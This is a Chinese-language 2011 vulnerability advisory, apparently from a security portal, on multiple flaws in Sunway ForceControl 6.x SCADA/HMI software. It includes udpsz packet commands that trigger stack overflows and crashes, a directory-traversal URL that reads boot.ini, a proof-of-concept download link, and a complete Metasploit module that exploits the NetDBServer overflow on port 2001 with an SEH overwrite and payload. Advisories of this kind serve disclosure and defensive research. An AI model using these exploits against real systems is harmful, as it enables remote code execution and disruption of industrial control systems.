发布日期：2011-09-27
更新日期：2011-09-27

受影响系统：

sunwayland Sunway ForceControl 6.x

描述：

---

BUGTRAQ  ID: 49747

Sunway ForceControl是中文的SCADA/HMI软件。

ForceControl在实现上存在多个安全漏洞，远程攻击者可能利用此漏洞在目标系统上执行任意代码或读取任意文件。

系统存在如下这些安全漏洞：

1) AngelServer栈溢出漏洞

Type 8的请求由于符号数比较的问题导致栈溢出。

2) Web服务器目录穿越漏洞

在请求中使用“.../”模式可以导致目录穿越读取任意文件。

3) AngelServer的几个拒绝服务漏洞

- Type 6请求由于非分配的内存导致的意外
- Type 6请求由于memcpy操作导致的非法内存读取
- Type 6请求导致的重启
- Type 6请求导致的死循环
- Type 7请求导致的系统重启

4) 第三方ActiveX控件导致的代码执行

软件包捆绑了Cell Software的YRWXls.ocx ActiveX控件，其中Login方法存在代码执行的漏洞。

5) SNMP NetDBServer栈溢出漏洞

6) SNMP NetDBServer整数溢出导致的栈溢出漏洞

7) SNMP NetDBServer拒绝服务漏洞

8) NetServer任意文件读取漏洞

<*来源：Luigi Auriemma （aluigi@pivx.com）
  
  链接：http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Luigi Auriemma （aluigi@pivx.com）提供了如下测试方法：

1)
  udpsz -T -C "08000000 00000000 ffffffff" -b a SERVER 8800 0x400

2)
  http://SERVER/.../.../.../boot.ini

3)
  udpsz -T -C "06000000 00000000 ffffffff" -b a SERVER 8800 0x400
  udpsz -T -C "06000000 00000000 ffffff00" -b a SERVER 8800 0x400
  udpsz -T -C "06000000 00000000 00040000" -b a SERVER 8800 0x400
  udpsz -T -C "06000000 00000000 00040000" -c "2147483647," -b a SERVER 8800 0x400
  udpsz -T -C "07000000 00000000 00000000" SERVER 8800 0x400

4)
  http://aluigi.org/poc/yrwxls_1.zip

5)
  udpsz -C "eb50eb50 5300 ffff0000 0100 ffff ff" 0 -C "0d0a" -1 -b a -T SERVER 2001 0xffff

6)
  udpsz -C "eb50eb50 5700 ffff0000 0100 ff" 0 -C "0d0a" -1 -b a -T SERVER 2001 0xffff

7)
  udpsz -C "eb50eb50 0000 80808080" -T SERVER 2001 0xb

8)
  udpsz -D -1 -C "8888888888888888 00010000 01000000 04000000 633a5c626f6f742e696e69" 0 -C "8888888888888888 1c000000 01000000 02000000 00000000 ffffff7f" -1 -T SERVER 2006 0x11c



##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57',
            'Description'    => %q{
                    This module exploits a stack based buffer overflow found in the SNMP
                NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is
                triggered when sending an overly long string to the listening service
                on port 2001.
            },
            'Author'         => [
                        'Luigi Auriemma', # original discovery
                        'Rinat Ziyayev',
                        'James Fitts'
                    ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'BID', '49747' ],
                    [ 'URL', 'http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'DisableNops' => 'true',
                    'BadChars' => "\x0a\x0d\xae",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        # p/p/r ComDll.dll
                        'Windows', {  'Ret' => 0x100022c4 }
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Sep 22 2011'))
        register_options(
            [
                Opt::RPORT(2001)
            ], self.class )
    end
    def exploit
        connect
        header =  "\xeb\x50\xeb\x50"
        header << "\x57\x00"  # packet type
        header << "\xff\xff\x00\x00"
        header << "\x01\x00"
        header << "\xff"
        footer = "\r\n"
        packet = rand_text_alpha_upper(65535)
        packet[0,header.length] = header
        packet[293,8] = generate_seh_record(target.ret)
        packet[301,20] = make_nops(20)
        packet[321,payload.encoded.length] = payload.encoded
        packet[65533,2] = footer
        print_status("Trying target %s..." % target.name)
        sock.put(packet)
        handler
        disconnect
    end
end

建议：

---

厂商补丁：

sunwayland
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.sunwayland.com.cn/

浏览次数：3816
严重程度：0（网友投票）